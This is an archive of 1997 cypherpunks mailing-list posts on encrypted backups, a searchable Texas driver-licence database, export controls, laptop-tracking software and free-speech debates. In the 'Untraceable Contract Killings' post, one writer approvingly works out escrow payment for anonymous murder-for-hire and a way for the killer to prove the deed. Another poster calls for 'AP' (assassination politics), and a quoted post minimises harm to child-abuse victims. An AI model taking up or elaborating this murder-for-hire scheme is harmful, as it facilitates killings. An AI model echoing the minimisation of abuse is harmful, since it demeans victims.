MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> I'm actually thinking of getting a pair of 4mm tape drives to replace
> my existing backup system (very old drives that use DC 600As; only
> .25GB / drive, pretty slow, no NT drivers; time to upgrade)

I'd keep those.  Never know what they might be worth to a computer junk
collector or museum 50 years from now.
 
> I wonder: if the data is well-encrypted, wouldn't it make the compression
> pretty ineffective?

You got it.  Compression won't happen.  But you can compress the data
before you encrypt it.  i.e.  use PKZIP or whatever to zip up your data to
a nice big zip file, encrypt the zip file with PGP or whatever, and backup
just the zip file.  (I'd do all this on an encrypted volume and set the
temp variable also to the encrypted volume so you won't have data
fragments leaking all over your drive in plain text for the spooks to
snarf up later.)

> Also: can somebody recommend good, fast 4MM drives that go inside a PC and
> work off a SCSI controller, and are supported by Windows NT and 95 with no
> special drivers? (I don't care about OS/2 and Linux support)

All the DAT drives I've seen are SCSI.  There are internal ones out there.
I'd stay away from the weird ones like HP or Sony, and get some generic
one.  Get a DDS2 drive if you can.

> [I guess I'll burn the old media or something. :-) I still have about
> 3 cubic feet of 5.25" floppies that I don't know how to discard]

Run them through a degauser several times then auction them off or
whatever.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 02:16:26 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: FCPUNX:Response to 'My War'
In-Reply-To: <199706111629.JAA02709@toad.com>
Message-ID: <199706111752.MAA04887@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706111629.JAA02709@toad.com>, on 06/11/97 
   at 12:29 PM, "Peter Trei" <trei@process.com> said:

>James A Donald writes:

>> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
>> > Anyone who thinks this doesn't affect the young children, you are wrong. 
>> > I doubt these children consented to the sexual activity. I doubt they 
>> > consented to being photographed. I doubt they consented to the pictures 
>> > being distributed to others.
>> 
>> Most of these children are adults now.  A great many of them are 
>> grandmothers.  Yet I see no prosecutions for the distribution of 
>> images by the supposed victims.
>[...]
>> Produce a victim and you will find it a lot easier to prosecute.

>See http://www.net.be/connerotte/english-text.html for the timeline  of
>last year's child sex & porn scandal in Belgium. Some of the  victims
>there will never bring suit: they are dead.

I think that you are missing the most important part of those articles:

The so-called "protectors of childered" ie government officials were
involved in the kidnaping, rape, and pornography of children and the
subsequent cover-up after the fact.

If there was ever a need for AP this is it.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM57nGY9Co1n+aLhhAQG/qwQArYcNLQRy7NDBh07scHbbEHh3FrJTrsVq
vU8VP6zOyOT0wes/SKjebs2hG2+outN3FrxspaM8ZVjubCuQlAxHsVm5lRLeL9HW
tL20dk6VZAIHgZaPJz3mvXu/k5R9O9upn9+OihMi/X5zUlbXonnThiC0Q/fvFZiw
46F0eXeLCyc=
=BBvI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 12 Jun 1997 04:49:24 +0800
To: cypherpunks@toad.com
Subject: Flag burning vote TOMORROW and government-imposed ratings
Message-ID: <Pine.GSO.3.95.970611133503.12043H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 11 Jun 1997 13:32:35 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Flag burning vote TOMORROW and government-imposed ratings

I don't often forward along non-Net issues, but these are too important to
ignore. First, from my colleagues at AllPolitics:

	http://www.allpolitics.com/1997/gen/analysis/counterpoint/

        Counterpoint: Ban Flag Burning?

        It's baaaack.....! The House is set to vote June 12 on
	a proposed amendment to the Constitution that would
	ban flag desecration. Democratic Rep. William
	Lipinksi, a lead sponsor, says the flag is too
	important a symbol not to be protected, while ACLU
	executive director Ira Glasser warns against
	weakening the First Amendment.

Read on for a note from Chris Finan. Also check out Cato's web site for a
related paper on mandatory "voluntary" ratings by f-c subscriber Bob
Corn-Revere:

  http://www.cato.org/pubs/briefs/v_chipes.html

-Declan

---------- Forwarded message ----------
Date: Tue, 10 Jun 1997 12:43:54 -0400
From: Chris Finan <mediacoalition@sprintmail.com>
To: Declan McCullagh <declan@well.com>
Subject: Government ratings of TV

Declan,

	The opponents of government-mandated TV ratings need help.  The FCC is
under heavy pressure to appoint a panel to devise a system of ratings to
replace the ratings that the networks have voluntarily adopted.  More than
300 of the 355 e-mail comments received by the FCC have been from
individuals and groups urging greater censorship of TV.

	Would you post this message on the Fight Censorship list to let people
know that they can e-mail their views to the FCC?  Their messages, which
needn't be long or formal, should be sent to vchip@fcc.gov as soon as
possible. 

	The Free Expression Network has jumped in with both feet to the fight
against a government-mandated TV rating system.  Its website, the Free
Expression Clearing House, www.freeexpression.org, has a lot of current
information on the TV ratings fight.

	Thanks.  







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 12 Jun 1997 02:17:46 +0800
To: cypherpunks@toad.com
Subject: Unleashing Micro Viruses on Networks
Message-ID: <1.5.4.32.19970611175700.008324f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     6-11-97, Janes' Defence Weekly:

     Unleashing Microbots on Iran's IT Networks

     Unlike the 1990-1991 Gulf War, when the USA inserted a 
     National Security Agency-developed, virus-laden microchip 
     into a French computer printer headed for Baghdad, in 2015 
     the USA relies on several methods for infecting Iranian
     computers. These efforts hope to get around problems
     created by the proliferation of encryption technology. 

     While some peripheral equipment, like printers, will be
     intercepted and bugged in order to disable mainframe
     computers, intelligence technicians will also use the internet
     to send guided viruses into Iran's national information
     infrastructure. 

     Thumbnail-sized micro-robots, known as `microbots', will
     also be unleashed by micro-air vehicles and naval guns. These
     parasites will creep into electronic equipment, attach
     themselves, and keep themselves alive by draining generator
     power. 

     Once the electronics system's energy is depleted, the fully
     charged microscopic vermin will search for a new victim. 

     The main problem will be that they are too small to carry
     identification equipment and so they infect indiscriminately.
     As such, they must be deployed far away from allied
     equipment. 

     However, packages of microbots can be destroyed remotely
     as allies prepare to invade enemy territory. 

     <> 

     [Copyright 1997, Jane's Information Group] 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael  F. Reusch" <reusch@pluto.njcc.com>
Date: Thu, 12 Jun 1997 02:41:34 +0800
To: cypherpunks@cyberpass.net
Subject: IRS T-Pole Surveillance
Message-ID: <3.0.1.32.19970611142023.006ad890@mail.njcc.com>
MIME-Version: 1.0
Content-Type: text/plain



>Commerce Business Daily, June 11, 1997
>Department of the Treasury, Internal Revenue Service, 
>6009 Oxon Hill Road, Suite 700, Oxon Hill, MD 20745
>Surveillance Systems SOL TIRNO97R00049 DUE 073097 
>POC Contract Specialist, Steve VanderLinden, FAX (202) 283-1514 

>The Internal Revenue Service requires enclosed surveillance systems 
>configured as transformers for mounting on telephone poles....

http://www.ld.com/cbd/archive/1997/06(June)/11-Jun-1997/58sol002.htm

Still laughing. Made my day!









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Thu, 12 Jun 1997 02:41:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
Message-ID: <199706111830.OAA02270@charon.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



> When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
> month.  Not as fast, but a much better price/performance ratio.

Granted, ISDN gives you only twice that of a 56k modem (ISDN gives you
128k), the major benefit of using ISDN over analog is latency.  The
latency of analog modems is as high as 300ms, whereas the latency of
an ISDN link is about 10% of that.  MUCH better for real-time
interactive connections.

It all depends on how you define "performance".  If you really want
good performance, get MediaOne, RoadRunner, of @Home service.

-derek

       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board  (SIPB)
       URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
       warlord@MIT.EDU                        PGP key available





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 12 Jun 1997 06:05:24 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <v0310280bafc4cc7b8ffd@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Ryan Anderson wrote:
>On Wed, 11 Jun 1997, Peter Trei wrote:
>
>>    Did Psychos-R-Us request this site?  "Could you create a database so I
>> don't miss anyone when I go on a killing spree on the 900 block of
>> Rosewood?"
>
>The (very very very very very) minor redeeming factor is that you have to
>be someone with knowledge of someone's valid Texas driver's license.  So
>it's not *FULLY* available on the net.  Though, someone will probably leak
>a userid in the next week or so, and then anyone can use it...
>
>Why do people do these things?  (I wonder if publiclink is actually
>physically located in Texas..)
>
Why do people do what things?

Do you mean:
Why does the state of Texas collect this information and sell it
to anyone who is willing to write a check?

or:
Why would anyone take this publically availiable information
and make it available to the public?


When my libertairan streak is in full flood, I think that since
this information was collected by government employees and
paid for by tax dollars, that it should be availiable to anyone
who wants it, for (minimal or) no cost.

Of course, the better solution is to not collect the information
at all. (Not selling it just means that people can buy it on the
black market, or in the case of TRW, etc; buy legislatures)


-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 03:18:47 +0800
To: cypherpunks@toad.com
Subject: (Fwd) Re: FCPUNX:Response to 'My War'
Message-ID: <199706111900.MAA04546@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




William H. Geiger III wrote:
> >James A Donald writes:
> 
> >> fAt 10:07 PM 6/9/97 -0700, se7en wrote:
> >> > Anyone who thinks this doesn't affect the young children, you are wrong. 
> >> > I doubt these children consented to the sexual activity. I doubt they 
> >> > consented to being photographed. I doubt they consented to the pictures 
> >> > being distributed to others.
> >> 
> >> Most of these children are adults now.  A great many of them are 
> >> grandmothers.  Yet I see no prosecutions for the distribution of 
> >> images by the supposed victims.
> >[...]
> >> Produce a victim and you will find it a lot easier to prosecute.
> 
> >See http://www.net.be/connerotte/english-text.html for the timeline  of
> >last year's child sex & porn scandal in Belgium. Some of the  victims
> >there will never bring suit: they are dead.
> 
> I think that you are missing the most important part of those articles:
> 
> The so-called "protectors of childered" ie government officials were
> involved in the kidnaping, rape, and pornography of children and the
> subsequent cover-up after the fact.
> 
> If there was ever a need for AP this is it.

Mr Donald asked people to produce victims of child porn production, 
and implied that unless such victims could be found, we should assume
that the whole business was consensual fun. I have provided him with
proof of such victims. (I'm curious to see how he'll respond).

That there was (and for all I know, continues to be) high level
collusion within the Belgium government to hush this up is a side 
issue.

While the perpetrators of these atrocities should be given life
without parole, I say that AP is not the answer. I object to the 
death penalty in all circumstances.

Peter Trei
trei@process.com
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 12 Jun 1997 03:50:30 +0800
To: cypherpunks@toad.com
Subject: (Fwd) FWD: Texas Driver's License database on the web
Message-ID: <199706111929.MAA04945@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Just in case it's not clear from the headers, this is being posted
by Peter Trei.

------- Forwarded Message Follows -------
Some forwards removed.

From: Jim Thompson <jim@hosaka.SmallWorks.COM>

I got a '503 Service Unavailable  this server has been placed offline
by the operator.  Please try again later.'  response the first two
times I tried.  But then...

Oh look.  A record of which elections in which you've voted.

If you don't think this is the likely future, you're dead wrong.

Jim

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
From: Brent Heustess <heustess@mail.utexas.edu>

   This is a really spooky web site <http://www.publiclink.com>.  You can
search 17 million Texas drivers by name, driver's license number or
license plate number.  When you find a person, you can then find everyone
at that address with a license.  You can even find everyone with the same
9-digit zip code.  The record does not have a GIF of the photo, but it
has everything else on the license.

   Did Psychos-R-Us request this site?  "Could you create a database so I
don't miss anyone when I go on a killing spree on the 900 block of
Rosewood?"
   "28 my ass.  I just checked the web and it says you were born 1965.  Not
ready to admit to be post-30?  I'm not buying the 'I weigh 110' either.  I
read 118 plain as day."
   "I can't believe it.  That asshole just cut me off.  Well, Mr. ZBW-446,
I guess a little midnight visit is in order to 1918 Grover St.  Prepare to
be stalked."
   "Johnny, I looked up your record last night and I couldn't believe my
eyes.  You're livin' in sin with that Sally Jenkins slut.  How could you do
this to your Dad & me?  You move out now or we're gonna cut off your
college money!"

   Public Link says this is public information, but where are the good old
days when you had to have a friend down at the Dept of Public Safety who
would look plate numbers up for you?  If it was good enough for Rockford,
it's good enough for me.  Suprress your phone number & address from the
phone book, but then it shows up in a searchable database on the web.
Lot of good that did you.  Now all those 7th Day Adventists know excatly
where you live.  Privacy, schmivacy.

Ta,
Brent

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                        Public Link Corporation
                   Public Databases on the Internet

             5930-E Royal Lane Ste 173, Dallas, TX 75230
                            (214) 890-6817

Welcome to Public Link Corp., the Information Source of the Internet.
We are here to provide public access to public information and public
databases.

The company uses data obtained from public sources currently available
through the Freedom of Information Act and Open Records Laws. We
believe it is the citizen's right to have this information available
for their use.

We expect to grow our database offerings to you over the next several
months. Many times you have needed the type of information we provide
and have had to use varous methods to obtain the information. Some of
these methods you would prefer not to have to use again. Not any more!
Just sit back and let us do the work for you. If you have a special
suggestions or request, please let us know. Come and join us as we
enter the information age!

- - ----------------------------------------------------------------------

TexasDriverLink
State of Texas Licensed Drivers. Over 17,000,000 Texas Drivers License
Information. Updated weekly. This database contains the information
contained on a person's drivers license. Data included are Name,
Address, Weight, Birth Date, Sex, Expiration Date, Status (Active or
Suspended), Class of License, and Restrictions. This database does not
contain information on a person's traffic tickets, DWIs, or Insurance
information. Search either by name or if you know the drivers license
number, search by number.

TexasTagLink
State of Texas License Plates. Over 16,000,000 license plates with
accompaning information. Updated weekly. This database contains the
information about the owner of a vehicle. This database does not
contain insurance information. Search currently only available by
plate number.

TexasDallasVoterLink
Registered voter role for Dallas County Texas. This database also
contains voting history for each of the one million registered voters.
This database is updated quarterly.

TexasArrestLink

EvictionLink

CivilCourtLink

PropertyOwnerLink

MarriageRecordLink

- --
Jim Thompson / Smallworks, Inc. / jim@smallworks.com
      512 338 0619 phone / 512 338 0625 fax
HTML:  The 3270 of the 90s





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Thu, 12 Jun 1997 07:36:51 +0800
To: cypherpunks@toad.com
Subject: Re: June 18th SF C'punks meeting: export controls on trial
Message-ID: <199706112323.QAA12560@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> ...  There will also
> be a regular 2nd-Saturday c'punks meeting this month (I think it's at
> PGP, Inc.)

Hi all; I haven't seen the agenda yet, but if there is time & interest,
I would be willing to organize a PGP key-signing party.

Signify interest by mailing your key -- or a pointer to it -- to me
by Friday.  Come to the c'punks meeting with photo ID and your PGP
fingerprint.

It would also be way cool if we could get some of the folks at PGP Inc.
to join in.

More info on key-signing parties will be at
www.best.com/~falconer/keyparty.html by tommorrow.

	-ed falk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 12 Jun 1997 04:47:58 +0800
To: cypherpunks@toad.com
Subject: Money magazine on digital cash
Message-ID: <v03007807afc4b9039ebd@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



As some of you know, I work in the Washington bureau of Time Inc., which is
home not just to Time Magazine and AllPolitics but also People and Money.
Some folks down the hall at Money are working on an article about digital
cash and the Net and would like to interview some folks who might have
something interesting to say. Keep in mind the magazine's focus is on
personal finance. If you're interested let me know and I'll forward your
names and contact info.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 12 Jun 1997 04:55:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <97Jun11.164333edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Steve Schear wrote:

> All prohibition of speech should be based on the judgement of whether or
> not specific individiuals (not general groups or socienty at large) can be
> reasonably be deduced to be at immediate risk or be harmed from that speech.

So, if "speech" can cause individuals in X to harm individuals in Y, there
is reason to prohibit it.

> I find lust to be a noble urge.

Then you probably find rape a noble deed.  I do not.  If you are referring
to the acts our net.loon often posts to this list, I hope you enjoy
placing yourself at his level.  My ideas originate above my limbic system.

> What happens when you sell high-power autos to immature consumers which can
> only be used as promoted by traveling at speeds well in excess of safe?

Which is why we have Drivers Licenses, lame as they are.  There should be
far more education - Germany doesn't have the same problems, but their
higher speeds are accompanied by higher thresholds for licensing and a
different driving ethic.

> Following this line of reasoning, isn't it appropriate that any
> attractive/exciting experience which gets the adreneline pumping (with the
> possibility for abuse and injury to third-parties) be regulated?

At least Detroit didn't burn down because the Red Wings won.  I would hope
the police are at least worried about riot control, and last time I
checked, inciting a riot wasn't considered free speech.

> >With guns and explosives, there is greater likelyhood that someone will
> >injure themselves or their own property on a destructive binge.  This type
> >of expression is more benign, though I don't think it represents the
> >better angels of our nature.  But I see no threat to me personally from
> >such people.
> 
> I think some families in Oklahoma City may disagree.

The information on how to do demolition is available from the army, and
the ingredients were commonly available.  As was the truck he used to
transport it.  We can prevent many fires by an outright ban on gasoline. 

What item, if banned, would have prevented the act?

> >But I would not want to have someone leave the two components to a binary
> >nerve gas on a shelf...
> 
> Now you've transgressed from speech to possession.

I thought libertarians thought any mere possession should not be a crime.

> >Something that is in and of itself a turning away from reason and giving
> >in to emotion, and the ultimate destination of that path if it is followed
> >will result in injury to others, especially innocents, is something that
> >should be regulated.
> 
> Regulated or banned?  I find war to be the best such example, but we still
> have massive armies and a military-industrial complex don't we?

Within the edited section, I suggested something to this effect.  The
regulation should be such that they can do whatever act where I will be
safe from them.  If they are willing to spend their days in a "Molester's
Monastery", they can look at whatever they want.  You can drink all you
want, but then you cannot drive a car until you are sober.  Anyone willing
to quarantine themselves should be able to do what they want.  People who
want to go out into public have responsibilities.

> >This form of "information" is an addictive drug, with the side effect is
> >that it destroys others much more than it destroys the abuser,
> 
> Can you back up this assertion with clinical data?

Not off hand.  I also cannot back up the statement that I will die if I
drink a particular poison (since I may have a particular immunity) without
conducting the test.  Can you suggest how we may conduct such a test on
kiddie porn without threatening children?

> >This does not mean that I am any less a civil-cyber-libertarian..
> 
> I believe it means you are a wanna-be Libertarian.

No, I am an autoarchist not an anarchist.  I belive in self-control which
is the difference between liberty an license.  If liberty is given to
barbarians it will be lost for everyone.

I want cryptography available even though it makes child-porn easier to
hide for the same reason I want gasoline available although it makes arson
easier to commit.  But I do not have to be pro-arson to be pro-gasoline.

And I can differentiate between ideas (which are protected free speech),
and things without any such content.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 08:08:51 +0800
To: cypherpunks@toad.com
Subject: export rules obsolete, says U.S. official
Message-ID: <199706112350.QAA31056@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain




http://www.nando.net/newsroom/ntn/info/061197/info12_13274.html

   ______________________________________________________________________
                                      
            Supercomputer export rules obsolete, says U.S. official
  __________________________________________________________________________
                                       
      Copyright ) 1997 Nando.net
      Copyright ) 1997 The Associated Press
      
   WASHINGTON (June 11, 1997 5:56 p.m. EDT) -- A Commerce Department
   official denied that Clinton administration export policies let U.S.
   supercomputers be used by hostile nations for weapons and said old
   controls are now unworkable.
   
   The president's 1995 decision to loosen export controls on
   supercomputers and other high-tech products recognized that technology
   is advancing at lightning speed and already is available throughout
   the world, William A. Reinsch, Commerce's undersecretary for export
   administration, said Wednesday.
   
   Harsher restrictions on the export of the most powerful computers
   would be of limited benefit, he said.
   
   "Efforts to control at lower levels will not only be unsuccessful,
   they will limit our ability to widely disseminate American standards
   and software and damage our companies economically," Reinsch told the
   Senate Governmental Affairs subcommittee on international security,
   proliferation and federal services.
   
   "When President Clinton took office he was urged by congressional
   leaders of both parties to make long-overdue reforms in this area,"
   Reinsch said. "I believe our efforts to do that have been a model of
   good government decision making."
   
   Sen. Thad Cochran, subcommittee chairman, retorted that Russia's
   premier nuclear weapons labs have five American supercomputers, and at
   least 46 are used in China.
   
   "The good news is that some of these major scientific technological
   institutes across China may not be involved in developing weapons of
   mass destruction and missile delivery systems for China and its
   clients. But some surely are," Cochran, R-Miss., said. "And they're
   doing this work courtesy of what appears to be, at best, a deeply
   flawed U.S. export-control policy."
   
   The United States restricts export of fast-calculating supercomputers
   to nonallies. Military uses to which supercomputers can be put are
   testing nuclear weapons, building accurate missiles and developing
   code-breaking technology.
   
   Reinsch said the Justice Department is investigating three sales of
   supercomputers overseas, two in Russia and one to the Chinese Academy
   of Sciences. The sales are suspected of violating U.S. regulations
   designed to keep U.S. technology from falling into the wrong hands.
   
   Commerce officials also are checking into whether U.S. supercomputers
   sold to customers in Dubai have been resold to Iran, he said.
   
   Two Republican House members, Rep. Henry Hyde of Illinois and Rep.
   Tillie K. Fowler of Florida, have demanded a Justice Department
   investigation into sales of sensitive equipment to China as part of
   its inquiry into foreign campaign contributions to Democrats.
   
   In a May 22 letter to Attorney General Janet Reno, the lawmakers said
   the situation raises questions about whether campaign contributions
   from Asian donors led to the sales.
   
   In response to a question from Cochran, Reinsch said he didn't think
   the Commerce Department had been asked to turn over information as
   part of such an investigation, "but we will certainly turn over to
   them whatever they ask for."
   
   By CASSANDRA BURRELL, Associated Press Writer
     _________________________________________________________________
   
   [ Global | Stateside | Sports | Politics | Opinions | Business |
   Techserver | Health & Science | Entertainment | Weather | Baseball |
   Basketball | Football | Hockey | Sport Server | MAIN ]
     _________________________________________________________________
   
   
    Copyright ) 1997 Nando.net
    Do you have some feedback for the Nando Times staff?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 12 Jun 1997 05:17:57 +0800
To: Peter Trei <trei@process.com>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <Pine.GSO.3.95.970611165931.20135B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, Peter Trei wrote:

>    Did Psychos-R-Us request this site?  "Could you create a database so I
> don't miss anyone when I go on a killing spree on the 900 block of
> Rosewood?"

The (very very very very very) minor redeeming factor is that you have to
be someone with knowledge of someone's valid Texas driver's license.  So
it's not *FULLY* available on the net.  Though, someone will probably leak
a userid in the next week or so, and then anyone can use it...

Why do people do these things?  (I wonder if publiclink is actually
physically located in Texas..)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 12 Jun 1997 06:11:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <3.0.1.32.19970611095122.006bf104@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.96.970611152528.932A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 11 Jun 1997, Bill Stewart wrote:

> At 05:39 PM 6/10/97 -0700, Wei Dai wrote:
> >I think the novelty of Bell's scheme is that it allows assassination
> >payments to be pooled from a large number of anonymous payers without
> >explicit coordination (i.e., the payers do not have to communicate with
> >each other to work out a contract, etc.).  
> 
> That's not the novel part - in addition to anonymous contract killings,
> it's also easy to run an anonymous fund that _claims_ it will use any
> donations of digicash encrypted to the fund's public key for assassinating
> the designated target.  In both that approach, and Bell's, there's still
> the reputation problem of making sure the person collecting the money
> really does pay off the killer.

I don't think this is much of a problem.  As long as someone is found
dead prematurely, the people who offered money for the assassination
got their wish.  Whether or not it goes to the real killer is
irrelevant.  From the killer's point of view, the problem of whether
or not he will get his payment is easily solved:

Both parties could mutually agree to use an escrow service to take care
of releasing or retaining the money.  The service wouldn't have to be
anonymously run and would remain ignorant of the uses of its service
The payer would put up a certain amount of money either equal to,
greater than, or less than the cost of the killing depending on the
relative reputations of the payer and payee.  If the payee doesn't
claim the money after x number of days, it gets returned to the payer.
If the payee authorizes the release of the money to the payee and the
payee claims it, it goes to the payee.  And if only one authorizes the
release of the money to the payee, it remains with the escrow service.
This prevents the payer from ripping off the payee.  The only flaw is
that the payee could claim the money but the payer could not authorize
its release.  It's a great way to cheat someone out of a large amount
of money, but it doesn't do the cheater any good, because he won't be
able to benefit from it (unless the cheater happens to be the escrow
agent).

> What's novel about Bell's version
> (and I don't know whether it originate with him or not) is that
> it provides a cyberspace-only mechanism for the assassin to 
> demonstrate to the payer that he's the one who did the job
> and isn't some wannabe claiming to have done it to collect the cash.
> 	(like the wannabes who called newspapers claiming to
> 	have been the World Trade Center bombers, etc.)
> There are alternatives, like posting a photo of the corpse to
> a time-stamping service and then to Usenet, though this adds
> some risk to the assassination, and is less useful for
> public killings (e.g. if the President gets shot,
> and there's a well-known address for the assassination pool,
> the White House Press Corps may try to get their photographs
> into the pool before sending them to Reuters and, umm, AP.)

Bell's idea was basically that demonstrating foreknowledge of the
killing was adequete proof that the person demonstrating this
knowledge was the assassin.  This generalization can be used for
anonymous contract assassinations, also.  The assassin could give
vague information to the payer such as the method of killing, caliber
of bullet used, or the week that the killing is to take place.  In
fact, anonymous contracts could be viewed as the same thing as
AP, except that anonymous assassination contracts don't try to pretend
it's just about betting on someone's death.




Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <raymond@wcs.net>
Date: Thu, 12 Jun 1997 08:32:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <3.0.32.19970611092701.00683c54@best.com>
Message-ID: <199706112341.QAA05443@mat.wcs.net>
MIME-Version: 1.0
Content-Type: text/plain



>
> >                     The call goes to a Canadian office
> >                     that in turn phones the cops. So far,
> >                     it has a 100 percent recovery rate. 
> >
> ======  100% of WHAT?  Systems with it installed which are stolen?   How
> would you know what systems do NOT call in?  
> It's like the question the clerk asks at the airport: "Did anyone put
> anything in your luggage you don't know anything about?"
> 
> Now that the word is out, of course, the wily thief will eschew pluggin in
> until the hard drive is reformatted and installed
> with a clean OS.  As usual: the stupid will be caught. 

This has been discussed on this list before, about 1 year ago.  The 
Computrace software is installed on a place on the hard drive where 
DOS utilities like Fdisk and Format can not get at it.  This is the 
same as Diskmanager Version 7 or higher, Fdisk and Format will not 
remove this version of Diskmanager.

The Computrace software is configured to call the 1-800 number on a 
regular pre-assigned schedule and talk to the computers at Absolute 
Software.  If the notebook has been reported stolen the computers at 
Absolute will advise the subject unit to call back on a more frequent 
basis.  The Computrace software turns off all modem speaker 
functionality.

With all calls to a 1-800 number the calling number is reported to 
the call receiving site.  This is always the case and the calling 
party has no control over this feature, it just happens as the 1-800 
number owner is paying for the call.  As a matter of interest this 
type of business could not be based in the USA as it is unlawful to 
use the calling number information gained through 1-800 calls for any 
business advantage or use, including this one.  However, US LEAs have 
no problem cooperating with Absolute Software and they do cooperate.

I have no connection to Absolute Software other than I visited their 
web site and I have a pretty good idea how they perform their 
promises.  I have no idea on how to remove the Computrace program 
unless it is on a Seagate or Western Digital hard drive.  Both of 
these manufacturers make low-level format programs for their IDE 
drive products available on their web sites and a low-level format 
will remove Diskmanager and I assume Computrace.

I assume most notebooks which are recovered are found to be in the 
hands of a buyer rather than the person responsible for the actual 
theft.  But, the eventual buyer is indirectly responsible for the 
initial theft of the notebook.


Virtually

Raymond Mereniuk
Raymond@wcs.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
